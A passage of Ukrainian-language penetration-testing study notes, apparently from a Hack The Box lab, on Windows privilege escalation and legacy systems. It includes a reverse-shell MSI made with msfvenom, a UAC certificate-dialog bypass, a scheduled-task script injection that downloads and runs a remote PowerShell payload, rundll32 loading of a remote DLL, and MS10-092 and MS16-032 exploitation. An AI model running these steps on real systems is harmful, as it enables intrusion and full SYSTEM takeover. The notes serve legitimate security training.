```

```out
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
```

```cmd
C:\htb> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
```

```out
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
```

> ▸ обидва ключі = `0x1` → експлоатабельно; лише один → не працює

Генерація MSI payload

```sh
Cyberduckk@htb[/htb]$ msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f
msi > aie.msi
```

```out
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of msi file: 159744 bytes
```

> ▸ MSI ~160KB; замість reverse_tcp можна use windows/exec CMD="net user backdoor T3st@123 /add"

Listener + execution

```sh
Cyberduckk@htb[/htb]$ nc -lnvp 9443
```

```out
listening on [any] 9443 ...
```

```cmd
C:\htb> msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart
```

```out
<silent — MSI виконується>
```

> ▸ прапорці: `/quiet` = без UI, `/qn` = no message box, `/norestart` = без reboot-prompt

Catch SYSTEM shell

```sh
Cyberduckk@htb[/htb]$ nc -lnvp 9443
```

```out
listening on [any] 9443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.33] 49720
Microsoft Windows [Version 10.0.18363.592]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

▸ mitigation для клієнта: вимкнути обидва GPO settings, щоб `AlwaysInstallElevated` був відсутній

7.3 CVE-2019-1388 — Certificate Dialog UAC bypass

ℹ Баг у Windows UAC: коли юзер бачить UAC-prompt з опцією "Show information about the publisher's certificate", і сертифікат має populated поле `SpcSpAgencyInfo` (OID 1.3.6.1.4.1.311.2.1.10) — поле *Issued by* рендериться як hyperlink. Натискання = відкриття браузера **як NT AUTHORITY\SYSTEM**. Далі вириваємось з браузера через *View page source* → *Save as* → `cmd.exe`.

Передумови

- GUI-доступ до хоста (RDP, physical, Citrix)
- Хост непатчений (до Nov 2019)
- Є файл `hhupd.exe` — старий Microsoft-signed бінарник з vulnerable сертифікатом

Крок 1 — запуск hhupd.exe як Administrator

Правий клік → Run as administrator. З'являється UAC-prompt із опцією *Show information about the publisher's certificate*.

```out
User Account Control
Do you want to allow this app from an unknown publisher to make changes to your device?

HTML Help ActiveX Control
Verified publisher: Microsoft Corporation
File origin: Downloaded from the Internet
Program location: C:\Tools\hhupd.exe

Show information about the publisher's certificate.
[Yes]  [No]
```

Крок 2 — клікнути на "Show information..."

Відкривається Certificate dialog. Переходимо у вкладку *General*. Поле *Issued by* відображається як hyperlink (підкреслене, синій колір).

```
Certificate Information

This certificate is intended for the following purpose(s):
  Ensures software authenticity and protection.

Issued to:   Microsoft Corporation
Issued by:   VeriSign Commercial Software Publishers CA  <-- hyperlink
Valid from:  4/15/1998 to 4/16/1999
```

Крок 3 — клік на hyperlink → browser як SYSTEM

Відкривається VeriSign URL у дефолтному браузері. Task Manager показує нові browser-процеси з **User: SYSTEM**.

```
Task Manager > Details tab

Name                PID     User       CPU    Memory
chrome.exe          4532    SYSTEM     0.1%   45,632 K
chrome.exe          4544    SYSTEM     0.0%   12,384 K
conhost.exe         4548    SYSTEM     0.0%   4,256 K
```

Крок 4 — View page source → Save as → cmd.exe

1. Right-click у browser → *View page source* (відкриється new tab з source)
2. Right-click знову → *Save as* — з'являється File dialog
3. У полі File Name вписати: `c:\windows\system32\cmd.exe`
4. Hit Enter

```
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\System32>whoami
nt authority\system
```

> ▸ Save As dialog — фактично Windows API FileOpen, що приймає шляхи до .exe і запускає їх; контекст успадковується від parent (browser як SYSTEM)

> ⚠ **УВАГА:** Патч за листопад 2019 (KB4525236/KB4525241). Але organizations часто відстають — в engagement проти legacy environments це все ще працює.

7.4 Scheduled Tasks abuse

Сервер-адміни часто пишуть scheduled tasks, що запускають .ps1/.bat скрипти як SYSTEM. Якщо папка зі скриптами writable — додаємо свій рядок → SYSTEM-виконання при наступному запуску.

Enumeration scheduled tasks

```cmd
C:\htb> schtasks /query /fo LIST /v
```

```out
Folder: \Microsoft\Windows\.NET Framework
HostName:                             WINLPE-SRV01
TaskName:                             \Microsoft\Windows\.NET Framework\.NET Framework NGEN
v4.0.30319
Next Run Time:                        N/A
Status:                               Ready
Last Run Time:                        5/27/2021 12:23:27 PM
Last Result:                          0
Author:                               N/A
Task To Run:                          COM handler
Run As User:                          SYSTEM
Schedule Type:                        On demand only

<SNIP>
```

▸ звертаємо увагу на `Run As User: SYSTEM` + `Task To Run`, що вказує на .ps1/.bat файл

```ps
PS C:\htb> Get-ScheduledTask | Where {$_.Principal.UserId -eq 'SYSTEM'} | Select TaskName,
@{N='Action';E={$_.Actions.Execute}}, @{N='Args';E={$_.Actions.Arguments}}
```

```out
TaskName                    Action              Args
--------                    ------              ----
DB-Backup                   powershell.exe      -File C:\Scripts\db-backup.ps1
MailboxBackup               powershell.exe      -File C:\Scripts\mailbox-backup.ps1
LogCleanup                  cmd.exe             /c C:\Scripts\cleanup.bat
```

▸ три завдання як SYSTEM з writable-кандидатами — далі `icacls` на кожен файл

⚠ **УВАГА:** Звичайні юзери **не можуть** читати `C:\Windows\System32\Tasks\` — це захищена папка. Ми бачимо тільки task, які самі створили, + дефолтні системні. Якщо є writable папка зі скриптами — через неї знаходимо потайні tasks.

Пошук writable script directories

```cmd
C:\htb> .\accesschk64.exe /accepteula -s -d C:\Scripts\
```

```
Accesschk v6.13 - Reports effective permissions for securable objects

C:\Scripts
  RW BUILTIN\Users
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
```

out

▸ `RW BUILTIN\Users` на папці з SYSTEM-скриптами = готовий persistence + privesc

Ін'єкція у існуючий скрипт

```
PS C:\htb> cat C:\Scripts\db-backup.ps1
```

ps

```
# Daily DB backup
$source = 'C:\DB\data'
$dest   = '\\BACKUP01\dbbackups\'
Copy-Item $source $dest -Recurse -Force
Write-Host "Backup complete: $(Get-Date)"
```

out

▸ в кінці додаємо одну строчку — при наступному виконанні наш код виконається як SYSTEM

```
PS C:\htb> Add-Content C:\Scripts\db-backup.ps1 "`nIEX(New-Object
Net.WebClient).DownloadString('http://10.10.14.3:8080/rev.ps1')"
```

ps

```
<mute — рядок додано>
```

out

▸ `` `n `` = PowerShell newline; chain до `Invoke-Expression` → завантажить reverse shell і запустить як SYSTEM при наступному запуску task

⚠ **УВАГА:** Цей підхід полишає модифікований файл на диску — blue team побачить change через file integrity monitoring. Для довготривалої persistence — краще створювати новий файл з подібним ім'ям, ніж модифікувати існуючий.

7.5 User/Computer Description Field

Системні адміни часом зберігають паролі у description-полі юзера або комп'ютерного аккаунту. Це вкрай погана практика, але досі зустрічається на engagement.

Local users

```
PS C:\htb> Get-LocalUser | Select Name, Enabled, Description
```

ps

```
Name            Enabled Description
----            ------- -----------
Administrator   True    Built-in account for administering the computer/domain
DefaultAccount  False   A user account managed by the system.
Guest           False   Built-in account for guest access to the computer/domain
helpdesk        True
htb-student     True
jordan          True
logger          True
sarah           True
sccm_svc        True
secsvc          True    Network scanner - do not change password
sql_dev         True
```

> ▸ зверни увагу на кастомні description (не built-in) — часто там паролі, internal URLs, service purposes

Computer description

```ps
PS C:\htb> Get-WmiObject -Class Win32_OperatingSystem | Select Description
```

```
Description
-----------
The most vulnerable box ever!
```

> ▸ навіть якщо description жартівливий — може натякнути на цільову систему (лаб, staging, test)

Domain users (якщо є доступ)

```ps
PS C:\htb> Get-ADUser -Filter * -Properties Description | Select SamAccountName,
Description | Where Description -ne $null
```

```
SamAccountName    Description
--------------    -----------
svc_sccm          SCCM service account - pwd: Sccm!Svc2023
helpdesk_admin    Password: HelpMe2020!
backup_svc        Temp service account for migration - DO NOT DELETE
```

> ▸ рідкісне але крайно вигідне джерело — DA paroль у description одного забутого service account

---

8. Legacy Operating Systems

> Робота з EOL Windows-системами — окрема дисципліна. Старіші версії не мають Credential Guard, Device Guard, Control Flow Guard — все те, що блокує сучасні privesc техніки. Але ці системи часто *критично важливі* для бізнесу (медичні MRI, local gov, банкомати, POS-термінали), тому перш ніж експлуатувати — обов'язкова розмова з замовником.

8.1 EOL дати — Desktop

Версія	EOL Date	Досі у production?
Windows XP	8 April 2014	Так — медичний сектор, legacy industrial
Windows Vista	11 April 2017	Рідко, але трапляється
Windows 7	14 January 2020	**Так — багато** (освіта, retail POS, healthcare)
Windows 8	12 January 2016	Рідко
Windows 8.1	10 January 2023	Так, в transition period
Windows 10 1507-1909	May 2017 — May 2021	Так на великих фермах workstations
Windows 10 2004	14 December 2021	Так
Windows 10 20H2	10 May 2022	Так

8.2 EOL дати — Server

Версія	EOL Date	Типові середовища
Windows Server 2003	8 April 2014	legacy Domain Controllers, старий LOB software
Windows Server 2003 R2	14 July 2015	те саме
Windows Server 2008	14 January 2020	**Часто** — local gov, healthcare
Windows Server 2008 R2	14 January 2020	**Часто** — file servers, print servers
Windows Server 2012/R2	10 October 2023	Legacy Exchange, database hosts
Windows Server 2016	12 January 2027	Supported
Windows Server 2019	9 January 2029	Supported

8.3 Key feature gaps — Desktop (7 → 10)

Feature	Windows 7	Windows 10
Microsoft Password (MFA)	—	X
BitLocker	Partial	X
Credential Guard	—	X
Remote Credential Guard	—	X
Device Guard (code integrity)	—	X
AppLocker	Partial	X
Windows Defender	Partial	X
Control Flow Guard	—	X

8.4 Key feature gaps — Server

Feature	2008 R2	2012 R2	2016	2019
ATP Defender	—	—	—	X
Just Enough Admin	Partial	Partial	X	X
Credential Guard	—	—	X	X
Remote Credential Guard	—	—	X	X
Device Guard	—	—	X	X
AppLocker	Partial	X	X	X
Windows Defender	Partial	Partial	X	X
Control Flow Guard	—	—	X	X

ℹ Практичний висновок: на Server 2008 R2 і Win 7 жодного *сучасного* privesc-захисту. Фактично — це "open target". Якщо клієнт погодив тестування legacy — старі kernel exploits (MS10-092, MS16-032, MS16-075) працюють з гарантією.

8.5 Політика роботи з клієнтом

⚠ **УВАГА:** Legacy системи часто **критичні**. Падіння = компенсація за downtime, втрата даних, можливі юридичні наслідки. Перед експлуатацією обов'язково:

1. **Підтвердити у замовника** — чи ця конкретна система у scope, чи є вона "off-limits".

2. **Зрозуміти бізнес-контекст** — чому досі legacy? (vendor out-of-business, сертифікаційні вимоги, вартість upgrade).
3. **Використати найменш руйнівний метод** — пасивне перерахування перед активним експлоітом.
4. **Не зловживати** — один успішний proof-of-concept = достатньо для звіту. Не треба "ще раз для надійності".
5. **Mitigating controls** у звіті — окрім upgrade/decommission, пропонувати network segmentation, Microsoft ESU (Extended Security Updates), ізоляцію у окремий VLAN.

8.6 Server 2008 walkthrough

Крок 1 — швидка оцінка через WMI

```cmd
C:\htb> wmic qfe
```

```out
Caption                                    CSName      Description  FixComments  HotFixID
InstallDate  InstalledBy              InstalledOn  Name  ServicePackInEffect  Status
http://support.microsoft.com/?kbid=2533552  WINLPE-2K8  Update                    KB2533552
WINLPE-2K8\Administrator  3/31/2021
```

> ▸ KB2533552 = **2011 рік**; останні 10 років патчі не ставились → гарантовано багато експлоатабельних CVE

Крок 2 — Sherlock для пошуку missing patches

```ps
PS C:\htb> Set-ExecutionPolicy bypass -Scope process
PS C:\htb> Import-Module .\Sherlock.ps1
PS C:\htb> Find-AllVulns
```

```
Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems

Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
VulnStatus : Not Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
VulnStatus : Not Vulnerable
```

▸ `Appears Vulnerable` = цілитись туди; `Not Vulnerable` / `Not supported on 64-bit` = skip

Крок 3 — отримання Meterpreter через smb_delivery

```sh
msf6 use exploit/windows/smb/smb_delivery
msf6 exploit(windows/smb/smb_delivery) set SRVHOST 10.10.14.3
msf6 exploit(windows/smb/smb_delivery) set target 0
msf6 exploit(windows/smb/smb_delivery) exploit
```

```
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.3:4444
[*] Started service listener on 10.10.14.3:445
[*] Server started.
[*] Run the following command on the target machine:
rundll32.exe \\10.10.14.3\lEUZam\test.dll,0
```

▸ target 0 = DLL (для x64), target 1 = PSH (PowerShell); DLL надійніший

Крок 4 — запуск rundll32 на цілі

```cmd
C:\htb> rundll32.exe \\10.10.14.3\lEUZam\test.dll,0
```

```out
<silent — виконано>
```

```out
[*] Sending stage (175174 bytes) to 10.129.43.15
[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.129.43.15:49609) at 2021-05-12
15:55:05 -0400
```

> ▸ сесія відкрилась, але в 32-bit (x86) контексті — для більшості kernel exploits потрібен x64

Крок 5 — migration у x64 процес

```sh
meterpreter > getpid
```

```out
Current pid: 2268
```

```sh
meterpreter > ps
```

```out
Process List
============
 PID   PPID  Name               Arch  Session  User                    Path
 ---   ----  ----               ----  -------  ----                    ----
 744   476   taskhost.exe       x64   2        WINLPE-2K8\htb-student
C:\Windows\System32\taskhost.exe
 1260  2460  powershell.exe     x64   2        WINLPE-2K8\htb-student
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 2140  2460  cmd.exe            x64   2        WINLPE-2K8\htb-student
C:\Windows\System32\cmd.exe
 2268  2628  rundll32.exe       x86   2        WINLPE-2K8\htb-student
C:\Windows\SysWOW64\rundll32.exe  <-- we are here
 2796  2632  conhost.exe        x64   2        WINLPE-2K8\htb-student
C:\Windows\System32\conhost.exe
```

> ▸ мігруємо у будь-який x64 процес того ж юзера — `conhost.exe` (2796) добре підходить

```sh
meterpreter > migrate 2796
```

```out
[*] Migrating from 2268 to 2796...
[*] Migration completed successfully.
```

Крок 6 — експлоатація MS10-092 через schelevator

```sh
meterpreter > background
msf6 use exploit/windows/local/ms10_092_schelevator
msf6 exploit(...) set SESSION 1
msf6 exploit(...) set LHOST 10.10.14.3
msf6 exploit(...) set LPORT 4443
msf6 exploit(...) exploit
```

```out
[*] Started reverse TCP handler on 10.10.14.3:4443
[*] Preparing payload at C:\Windows\TEMP\uQEcovJYYHhC.exe
[*] Creating task: isqR4gw3RlxnplB
[*] SUCCESS: The scheduled task "isqR4gw3RlxnplB" has successfully been created.
[*] SCHELEVATOR
[*] Reading the task file contents from C:\Windows\system32\tasks\isqR4gw3RlxnplB...
[*] Original CRC32: 0x89b06d1a
[*] Final CRC32: 0x89b06d1a
[*] Writing our modified content back...
[*] Validating task: isqR4gw3RlxnplB
[*] Disabling the task...
[*] Enabling the task...
[*] Executing the task...
[*] Sending stage (175174 bytes) to 10.129.43.15
[*] SUCCESS: Attempted to run the scheduled task "isqR4gw3RlxnplB".
[*] Deleting the task...
[*] Meterpreter session 2 opened (10.10.14.3:4443 -> 10.129.43.15:49634)
[*] SUCCESS: The scheduled task "isqR4gw3RlxnplB" was successfully deleted.
```

> ▸ schelevator трюк — створює task з modified XML, експлуатуючи CRC32 collision у Task Scheduler

```sh
meterpreter > getuid
```

```out
Server username: NT AUTHORITY\SYSTEM
```

> ▸ privesc завершено; далі — `hashdump`, dump NTDS якщо це DC

8.7 Windows 7 walkthrough

Крок 1 — Windows-Exploit-Suggester setup

```sh
Cyberduckk@htb[/htb]$ pyenv shell 2.7
Cyberduckk@htb[/htb]$ wget
https://files.pythonhosted.org/packages/28/84/27df240f3f8f52511965979aad7c7b77606f8fe41d4c9
0f2449e02172bb1/setuptools-2.0.tar.gz
Cyberduckk@htb[/htb]$ tar -xf setuptools-2.0.tar.gz && cd setuptools-2.0/ && python2.7
setup.py install
Cyberduckk@htb[/htb]$ cd .. && wget
https://files.pythonhosted.org/packages/42/85/25caf967c2d496067489e0bb32df069a8361e1fd96a7e
9f35408e56b3aab/xlrd-1.0.0.tar.gz
Cyberduckk@htb[/htb]$ tar -xf xlrd-1.0.0.tar.gz && cd xlrd-1.0.0/ && python2.7 setup.py
install
```

```out
<залежності setuptools + xlrd встановлено для Python 2.7>
```

▸ Windows-Exploit-Suggester — тільки Python 2.7; в Kali використовуємо pyenv для ізоляції версій

Крок 2 — дамп systeminfo з target

```cmd
C:\htb> systeminfo > C:\temp\sysinfo.txt
```

```out
Host Name:                 WINLPE-WIN7
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
System Type:               x64-based PC
Hotfix(s):                 3 Hotfix(s) Installed.
                           [01]: KB2999226
                           [02]: KB958488
                           [03]: KB976902
```

▸ скопіювати sysinfo.txt на Kali; лише 3 hotfix = дуже недопатчений host

Крок 3 — update Microsoft database

```sh
Cyberduckk@htb[/htb]$ python2.7 windows-exploit-suggester.py --update
```

```out
[*] initiating...
[*] successfully requested
[+] MSSB Microsoft Security Bulletin Summary 2021-05-13-mssb.xls written to disk
```

▸ xls-файл з базою Microsoft Security Bulletins; оновлюється щомісяця

Крок 4 — запуск exploit-suggester

```sh
Cyberduckk@htb[/htb]$ python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls
--systeminfo sysinfo.txt
```

```out
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 3 hotfix(es) against the 386 potential bulletins(s) with a database of
137 known exploits
[*] there are now 386 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 7 SP1 64-bit'

[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/
[*]   https://www.exploit-db.com/exploits/41015/

[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/

[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141)
- Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle
Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-
2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell)

<SNIP>
[*] done
```

▸ мітки: `[E]` exploit-db PoC, `[M]` Metasploit module; фільтруємо DoS + `Not supported on 64-bit`; перший кандидат = **MS16-032**

Крок 5 — експлоатація MS16-032 через PowerShell

```ps
PS C:\htb> Set-ExecutionPolicy bypass -scope process
PS C:\htb> Import-Module .\Invoke-MS16-032.ps1
PS C:\htb> Invoke-MS16-032
```

```
out
         __ __ ___ ___   ___     ___ ___ ___
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|

                       [by b33f -> @FuzzySec]

[?] Operating system core count: 6
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 1656

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 1652
[+] Resuming thread..

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
```

▸ баг у Secondary Logon Service: race condition дозволяє duplicate SYSTEM token; "Holy handle leak Batman" = успіх

```
cmd
C:\htb> whoami
```

```
out
nt authority\system
```

▸ privesc завершено

8.8 Післямова по legacy

✓ **TIP:** При роботі з legacy завжди **документуй усе**: які експлоїти намагався, що не спрацювало, що спрацювало. Клієнт отримає звіт не тільки про знайдений вектор, а й про "чому саме цей вектор безпечний проти Windows 10". Це цінний пласт знання у звіті.

ℹ Якщо engagement короткостроковий (< 2 тижні), а legacy host критичний — краще **не** експлоатувати, а лише задокументувати "missing patches" з CVSS-score. Ризик downtime переважує benefit від "ще одного SYSTEM shell" у звіті.

Післямова — куди йти далі

Цей документ покриває post-exploitation на одному хості — ми витягли все можливе з коробки, де опинились. Наступні напрямки, що логічно слідують:

- **Active Directory attacks** — Kerberoasting, ASREPRoasting, ACL abuse, DCSync, Golden/Silver tickets. Використовуючи NT хеш `krbtgt`, витягнутий з NTDS.dit (Розділ 6), створюємо Golden Ticket = довічний DA.
- **Lateral movement** — PsExec, WMI, RDP, WinRM з PtH / PtT. Impacket-пакет має інструменти для кожного протоколу.
- **Persistence** — scheduled tasks, WMI event subscriptions, DLL hijacking autostart, Run keys у реєстрі.
- **EDR evasion** — AMSI bypass, ETW patching, direct syscalls. Коли post-exploitation triggers alert, переходимо у "тихий" режим.
- **Cloud pivoting** — знайдені Azure/AWS credentials у Pillaging (Розділ 4) дають можливість cross-cloud attack.

> Післямова: **post-exploitation — це розслідування, а не злом**. Ми приходимо як детективи, що збирають докази. Кожен знайдений credential, кожен hash, кожен cookie — це рядок у звіті, який робить роботу пентестера цінною для замовника. Швидкий "root" менш цінний, ніж методичний pillage, що дає 20 окремих knocking points для improvement.

[END OF DOCUMENT]

// happy pillaging //